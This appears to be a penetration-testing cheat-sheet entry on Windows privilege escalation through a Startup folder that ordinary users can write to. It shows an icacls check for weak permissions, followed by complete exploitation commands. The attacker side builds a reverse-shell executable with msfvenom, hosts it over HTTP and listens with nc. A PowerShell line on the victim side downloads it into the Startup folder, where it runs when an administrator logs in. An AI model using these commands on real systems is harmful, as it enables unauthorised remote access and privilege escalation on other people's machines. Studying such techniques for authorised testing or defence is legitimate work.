startup_app

---
tags: [ exploit, wpe, windows, privesc ]
---
# Startup applications
# Detection
icacls.exe "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup"

C:\>icacls.exe "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup"
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup BUILTIN\Users:(F)
                                                             TCM-PC\TCM:(I)(OI)(CI)(DE,DC)
                                                             NT AUTHORITY\SYSTEM:(I)(OI)(CI)(F)
                                                             BUILTIN\Administrators:(I)(OI)(CI)(F)
                                                             BUILTIN\Users:(I)(OI)(CI)(RX)
                                                             Everyone:(I)(OI)(CI)(RX)

# If the user you're connecte with has full access ‘(F)’ to the directory (here Users) then it's vulnerable.

# Exploitation
# Attacker
msfvenom -p windows/shell_reverse_tcp LHOST=<IP> LPORT=<PORT> -f exe > program.exe
sudo python -m SimpleHTTPServer 80
sudo nc -lvp <PORT>

# Victim
cd "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup"
powershell.exe (New-Object System.Net.WebClient).DownloadFile('http://<IP>/program.exe', '.\program.exe')

# To execute it with elevated privileges we need to wait for someone in the Admin group to login.